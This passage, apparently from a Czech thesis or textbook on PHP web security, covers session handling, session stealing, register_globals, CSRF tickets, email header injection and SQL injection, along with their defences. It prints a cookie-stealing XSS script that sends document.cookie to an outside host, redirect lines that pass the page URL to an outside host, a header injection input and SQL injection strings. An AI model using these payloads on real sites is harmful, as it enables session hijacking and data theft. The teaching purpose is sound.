o uživateli mezi stránkami Jakmile je osoba programem rozpoznána, je žádoucí tento stav i zachovat a tím tedy např. dovolit přístup k neveřejným částem webu. Protokol HTTP je bezstavový, takže předané přihlašovací údaje po odeslání formuláře zapomene. Ukládání jména a hesla (případně úrovně oprávnění a dalších ) do cookies nebo posílání coby parametr adresy není bezpečné - není totiž problém je změnit, případně zachytit - proto se používají relace (sessions). Server vygeneruje jednoznačné session id (identifikátor relace), které klient obdrží a následně předává s každým požadavkem. Server pak jen porovná sessid se svou databází relací a klienta pozná. Session id by mělo být dle [27] nesnadno odhadnutelné a dostatečně dlouhé, aby se předešlo útoku hrubou silou (zkoušení různých řetezců dokud nebude zvolen správný). Proto jej představuje nejčastěji MD5 hash. Je uložen do proměnné PHPSESSID (SID, SESSID... záleží na nastavení session.name v php.ini) a předává se dvěma způsoby - v cookie nebo jako parametr URL. Cookies jsou doporučeny, ale PHP umožňuje obě varianty, protože ne vždy je podpora 6 Internet Explorer a Netscape mažou lokální cache okna při obdržení kódu 401 od serveru. Dá se toho využít pro odhlášení uživatele. 14

Soukromí uživatele cookies aktivována v prohlížeči. Zároveň dokáže PHP i automaticky přidávat phpsessid ke každé relativní URI (volba session.use_trans_sid v php.ini), takže není nutné ručně přepisovat odkazy a přidávat k nim konstantu SID (zajišťující vložení sessid) v případě vypnutých cookies. [15] Použití cookies se dá dokonce vynutit (session.use_only_cookies). Je to bezpečnější způsob, protože tolik nehrozí session stealing popsaný níže. V PHP se pro vytvoření realce používá funkce session_start(). Měla by předcházet jakémukoliv výstupu. Dále je automaticky vytvořeno superglobální pole $_SESSION, do něhož můžeme uložit libovolné proměnné (např. id uživatele, jeho oprávnění apod...) a to jejich prostým přiřazením. $_SESSION['level'] = 1 Pokud nejsou použity neperzistentní cookies (které prohlížeč ukládá pouze v RAM a jsou tedy ztraceny s uzavřením jeho okna), je rizikem uzavření okna prohlížeče bez ručního odhlášení z aplikace. Tím by na počítači zůstala otevřená session s nastaveným přihlášením a přistupovými oprávněními. Session mechanismus proto kontroluje prodlevu od posledního požadavku uživatele na server, a jestliže tato překročí danou mez, dojde k automatickému zrušení session. Toto chování může být i nepříjemné. Pokud uživatel píše dlouhý příspěvek (např. e-mail) a vyprší mu před odesláním relace, objeví se místo odeslání zprávy přihlašovací formulář. Pracně napsaný text je pak ztracen. Aplikace by tedy měla rozepsaná data dočasně uložit a po opětovném přihlášení uživatele je obnovit. Další použitelnou funkcí je session_regenerate_id(). Je dobré ji volat po úspěšném přihlášení do aplikace, protože nahradí stávající session id nově vygenerovaným. Stávající identifikátor tak přestává být platný a je útočníkovi k ničemu. 4.3.1 Session stealing Je důležité si uvědomit, že samotný mechanismus session v sobě nemá zabudouvanou žádnou ochranu (např. vázání relace na IP adresu, salting, apod ). Pokud tedy používáme relace tak, jak jsou (což je na freehostingu celkem běžné), je jedinou podmínkou přístupu k relaci znát její session id. Hlavním cílem útoku je tedy jeho získání. Na programátorovi je zajistit odpovídající zabezpečení. Jakmile je relace zkompromitována, má útočník dočasný přístup k uživatelskému účtu. Pokud změní přístupové údaje (heslo, e-mail...), získá tak přístup trvalý, nicméně jen zdánlivě - oběť si změny všimne při prvním pokusu o přihlášení a patrně ji nahlásí. Využívá-li se pro přihlášení (nebo pro případ zapomenutého hesla) metody otázka-odpověď ( Jméno matky za svobodna?, Oblíbené jídlo? apod...), je přístup trvalý i beze změn (dokud je neprovede sama oběť). [24] Ke zjištění sessid se používá několik způsobů. Přímému odečtení z monitoru by měla zabránit složitost a délka identifikátoru relace, odchycení (sniffu) nezabráníme nijak, ale je to specifický útok vyžadující, aby byl útočník s obětí na stejné síti (nebo měl zkrátka možnost odposlechnout její pakety). V dalším textu se ovšem zaměříme na vzdálené získání id. O těchto způsobech pojednává [10] a jsou to: Získání session PHP Nejjednodušším způsobem je podstrčit přihlášené oběti odkaz na web. Útočník jej vloží například na webový chat, naivní oběť klikne, prohlížeč předá skriptu referer 7 a skript jej zpracuje (z proměnné $_SERVER['HTTP_REFERRER'] vyčte kompletní URL a tedy i id relace - pokud je předáváno jako parametr metodou GET), čímž má útočník přístup k relaci. Tento 7 Neboli adresu, z které oběť přišla. 15

Soukromí uživatele postup vyžaduje akci uživatele a neošetření ze strany serveru. Obranou je totiž přesměrování. Nepouštět všechny odkazy mimo web přímo, ale redirectovat přes další skript nevyžadující přihlášení (nejlépe v novém okně), který odstraní session id a změní referer. Referer se dá získat i bez účasti oběti. Pokud aplikace dovoluje např. vkládat obrázky, dá se snadno zneužít faktu, že referer se posílá i s požadavkem na obrázek. Vložíme tedy obrázek, jehož zdrojem bude náš skript, s width i height = 0 (nebo libovolný vygenerovaný / podstrčený pomocí GD knihovny v PHP). Získání session JavaScript Je-li dovoleno interpretovat HTML kód, není nic jednoduššího než použít XSS (kap. 6.1) a JavaScriptem přesměrovat na útočnický skript document.location='http://web.cz/skript.php?url='+document.location; nebo otevřít v novém okně: window.open('http://web.cz/skript.php?url=' + document.location,'okno'); Cíl tak dostane adresu právě otevřeného okna (document.location). Používá-li aplikace cookies, nabízí JS další objekt - document.cookie. Tím lze zjistit obsah celé cookie (jak ukazuje Obr. 10) a dále ho zpracovat. Stačí jen oběti podstrčit odkaz se správným kódem v parametru. Obr. 10 Obsah cookie vypsaný pomocí XSS Kód pro ukradení cookie by pak vypadal třeba takto: <script>document.location='http://ciziweb.cz/?h='+document.cookie;</script> Řešení Jistou ochranu relace představuje vázat její identifikátor na klienta. Tedy omezit přístup k ní na jeho IP adresu, prohlížeč, referer... Bohužel, IP adresa není jednoznačným určitelem klienta (mnoho uživatelů je dnes skryto za jednou adresou poskytovatele, přes kterou přistupují do internetu), navíc se může během komunikace změnit, a proto může dojít k občasné nepřístupnosti aplikace. Kontrola refereru se zavádí z důvodu zajištění, že požadavek pochází opravdu z našeho webu a ne např. z localhostu útočníka. Není ale absolutní. Referer se vytváří na straně klienta a dá se tedy modifikovat, některé proxy ho filtrují kvůli zajištění soukromí a prohlížeče umožňují vypnout jeho odesílání. Lepší je proto zaměřit se na prevenci samotné krádeže sessid. Úzce s tím souvisí Cross-Site Scripting (XSS), který je popsán v kapitole 6.1. Tam jsou také navrženy metody jeho zabránění. 16

Vstupy 5 Vstupy Jsou nejkritičtějším místem aplikace. Špatně ošetřené vstupy mohou dovolit útočníkovi aplikaci ovládnout a zneužít. Jako vstup můžeme označit jakákoliv data přicházející od klienta (tedy z prohlížeče) na server. Jsou to především parametry URI 8 a obsahy formulářů (nejen text, ale i soubory). Zároveň do vstupů zahrneme i obsahy cookies, sessions a hlavičky. V PHP jsou dvě možnosti, jak taková data přečíst a zpracovat: Přímo, pokud je direktiva register_globals serveru nastavena na on. Přes globální pole $_REQUEST, které sdružuje obsah $_POST, $_GET a $_COOKIE proměnných (do PHP verze 4.3.0 i $_FILES) [4]. Přes jednotlivá $_POST, $_GET, $_COOKIE nebo $_SESSION. Pole $_REQUEST se v základním nastavení (dá se změnit pomocí variables_order v php.ini) zpracovává v tomto pořadí: GET, POST, COOKIE. Z toho plyne, že pokud útočník doplní do adresního řádku parametr, který je uložen v relaci, může změnit jeho hodnotu pokud používáme k přístupu k těmto informacím globálního pole $_REQUEST. Register_globals je od PHP verze 4.2.0 z důvodu bezpečnosti automaticky nastaveno na off. To ovšem nezabraňuje jeho aktivaci (přes.htaccess) a použití pohodlnými programátory. Mějme tento ukázkový PHP kód [skript globals.php]: session_start(); $_COOKIE[name] = "Uživatel"; $_COOKIE[level] = "1"; echo "COOKIE: $_COOKIE[level]<br />"; echo "GET: $_GET[level]<br />"; if ($level == 3) echo "Admin"; else echo "User"; Jestliže ho spustíme tak, jak je, vypíše se User. To je v pořádku. Jakmile ale pozměníme URL takto: globals.php?level=3, bude na obrazovce svítit Admin, protože $_GET má větší prioritu než $_COOKIE. Obr. 11 Nastavení oprávnění pomocí register_globals Důležité pravidlo z toho plynoucí zní: Používat pro POST, GET, COOKIE a SESSION požadavky jejich superglobální proměnné. Mnoho programátorů žije falešným pocitem bezpečí, když schovávají řídící vstupy ve formulářích a spoléhají na to, že co uživatel nevidí, to nezmění. Tento přístup je chybný a nesmí se opomenout kontrolovat vše. A co tedy hlídat? Datový typ. Očekáváme-li číslo, musí nám číslo přijít. Přesvědčit se můžeme podmínkou a funkcí is_int(), nebo rovnou nastavit funkcí intval() (případně settype()). 8 Uniform Resource Identifier identifikátor zdroje - v našem případě stránky. Sbíráme z něj parametry metodou GET (např. http://neco.cz/clanek.php?artid=5) 17

Vstupy Předávací metodu. Data z formulářů se nacházejí v poli $_POST (případně $_GET), soubory jsou ve $_FILES, data relace v $_SESSION atd Nepovolené znaky. Každý podsystém má sadu znaků, které pro něj mají větší význam než znaky ostatní. V MySQL to jsou například uvozovky. Nejjistější je tyto znaky odstranit (escapovat) a to nejlépe přímo funkcí pro podsystém určenou. Tolik obecně a nyní z hlediska funkčnosti a zpracování rozdělíme vstupy do dvou skupin: 5.1 Vstupy do subsystémů Nejprve se podíváme na techniky útoků využívající vstupy do podsystémů. Subsystémy představují v naší aplikaci databáze MySQL, textové soubory a souborový systém serveru (pro uploadované uživatelské soubory). Naprostým základem je používat pro požadavky měnící něco v subsystému (databázi) metodu POST. Prohlížeče totiž musí požádat uživatele o svolení, než provedou takovou akci znovu při stisknutí tlačítka Zpět (Opera je výjimkou - načítá z cache, takže se akce neprovedou). Zároveň se tato data neukládají do historie a nejsou tedy dál přístupná. 5.1.1 Lístkový systém Aby se zajistilo, že požadavek bude mít k dispozici opravdu jen uživatel, který jej vyžádal (tedy že se např. nejedná o podvrhnutý formulář), používá se tzv. ticketový (lístkový) systém. Server vygeneruje každé akci na stránce náhodný řetězec, který uloží do pole lístků v relaci uživatele. Zároveň ho pošle ve skrytém poli klientovi. Ten provede akci, lístek se odešle na server, porovná se s uloženým v relaci a pokud souhlasí, operace je provedena a lístek vymazán. Útočník nemůže vygenerované číslo napodobit a tím pádem ani vytvořit stejný formulář. <input type= hidden name= ticket value= edit-5-543608809436413 /> print_r($_session['tickets']); -> Array ( [0] => edit-5-543608809436413 ) Samozřejmě zůstane mnoho lístků nevyužitých. Ty je třeba mazat buď hned, nebo po dosažení určitého počtu odstranit několik prvních (nejstarších). Výhodou tohoto postupu navíc je, že není třeba hlídat opakované požadavky (třeba opětovné odeslání POST při obnovení stránky). Nevýhodami jsou zátěž na server při větším množství požadavků a možné vypršení času relace. Stránky omezené lístky by se také neměly ukládat do cache - tím se zaručí, že při každém zobrazení budou k dispozici platné lístky (stránka se načte znovu). 5.1.2 E-mailový formulář E-mailové formuláře se používají, když chce dát autor stránek návštěvníkům možnost ho kontaktovat, ale zároveň nechce uvádět svou adresu, jako funkce odeslání odkazu na článek známému apod... Uživatel pak vyplní nabídnutá pole a odešle. V PHP se pak formulář jednoduše zpracuje funkcí mail(). 18

Vstupy Obr. 12 Kontaktní formulář BlueForm od BlueBoard.cz [21] uvádí tato doporučení: dovolujeme-li uživateli vyplnit adresu příjemce, měla by být určitá část zprávy pevná a je vhodné omezit její délku, aby nebyl formulář zneužitelný např. k hromadnému rozesílání nevyžádané pošty nebo vytěžování serverů není-li adresa příjemce vyplňována (třeba u kontaktního formuláře), neměla by být skryta ve formuláři, ale pracovat by se s ní mělo až na serveru má-li skript rozesílat různé formuláře na různé adresy, je dobré v aplikaci definovat seznam dovolených adres (pevně v poli nebo třeba uložením do databáze...) a do skrytého pole formuláře pak jen umisťovat jejich ID je nutno pečlivě kontrolovat údaje, které se následně použijí v hlavičce From nebo Reply-To E-mailová zpráva je tvořena sadou hlaviček oddělenou od textu zprávy prázdným řádkem. Jednotlivé hlavičky dle normy [29] musí být odděleny znaky CR a LF (tedy \r a \n). Některé unixové systémy nahrazují \n automaticky za \r\n. Příklad útoku od [21]: Když útočník zadá do pole pro adresu například toto: adresa\ncc: adresa,...\n\nnová zpráva a my v kódu tvoříme e-mail tímto způsobem: mail( Komu, Predmet, Zprava, Reply-To: $_POST[from] ), vytvoří se následující zpráva: To: Komu Subject: Predmet Reply-To: adresa Cc: adresa,... Nová zpráva Původní zpráva Změní se tak celé znění textu zprávy a navíc má útočník možnost zadat libovolné adresy, kterým se zašle kopie. Řešení je jednoduché - oříznout vstup uživatele za prvním koncem řádku. Dále by jednotlivé řádky zprávy neměly být delší než 70 znaků. Ošetření lze provést funkcí wordwrap($text, 70); 5.1.3 SQL Injection Ve zkratce se tato technika dá popsat jako schopnost uživatele modifikovat SQL dotaz pomocí předaných parametrů. Stačí dostatečně neošetřit vstupy do MySQL a útok je dílem několika řádek. A rovnou ukázka - podívejme se na příklad kontroly přihlášení uživatele: mysql_query("select * FROM users WHERE login = '$_POST[login]' AND pass = SHA1($_POST[pass])"); Dynamicky se tu skládá dotaz na databázi a všimněte si, že $_POST proměnné nejsou před předáním dotazu nijak upraveny. Stačí tedy, aby uživatel zadal do pole login takovýto text: 19

Vstupy ' OR 1=1-- Databáze pak dostane modifikovaný dotaz: SELECT * FROM users WHERE login = '' OR 1=1-- ' AND pass = SHA1($_POST[pass]) MySQL parser pak uvidí konec řetězce následovaný logickou podmínkou, která je vždy splněna (1=1) a znaky -- způsobující, že vše další je bráno jako komentář, takže ověření hesla úplně vypustí. Takto modifikovaný dotaz pak například vybere prvního v databázi (podle toho, jak je skriptem zpracován). Obr. 13 SQL Injection v praxi Obr. 14 Výsledek úspěšného útoku Toto je nejjednodušší možnost napadení aplikace - získání přístupu k jakémukoliv účtu (včetně administrátorských, které i většinou bývají v tabulce jako první). Dále je možné získat přístup k citlivým datům uživatelů (hesla, profily...), modifikovat (i smazat) tabulky nebo se vydávat za někoho jiného. Možnosti ukazuje [30]. Nebezpečím jsou také číselné hodnoty neuzavřené v apostrofech. Mějme tento skládaný dotaz: UPDATE gbook SET... WHERE id = $_POST[id] Útočník změní ve formuláři id na 5 OR 1=1--. Provedený dotaz bude mít tvar: UPDATE gbook SET... WHERE id = 5 OR 1=1-- Jak asi tušíte, nezmění se jen záznam číslo 5, ale spolu s ním i všechny ostatní. Zde nepomůže pouze odstraňování nebezpečných znaků. Čeho se není třeba obávat: PHP funkce mysql_query() nepodporuje vykonávání více dotazů za sebou (oddělených středníkem) a provádění je ukončeno po prvním ;. Není proto třeba řešit problém se vstupem typu '; DELETE FROM... Stále však existuje příkaz UNION. MySQL narozdíl od MSSQL neumí zavolat externí aplikaci ani systémový příkaz. K rozsáhlejšímu útoku na databázi je třeba mít přehled o její struktuře. Ohromným zdrojem informací jsou chybová hlášení. Jsou-li příliš podrobná, není problém několika pokusy zjistit strukturu tabulky a dál s ní pracovat. Není proto od věci omezit výpis chyb nastavením PHP, případně vlastní funkcí zjistit aktivitu jakéhosi debug módu (třeba testováním, že IP adresa je 127.0.0.1 - localhost), v kterém ladíme skripty a je proto žádoucí vědět, kde se přesně stala jaká chyba. Vypisovat znění celého dotazu při chybě je výborná pomůcka pro ladění, ale zároveň neocenitelná mapa struktury tabulky. Několika pokusy se tak dá zjistit rozsah databáze. Ochrana Zaručenou obranou proti SQL Injection je upravování všech vstupů, které putují do databáze. Toto by se mělo dít až na straně serveru (tedy zpracujícím PHP skriptem). Ověřování 20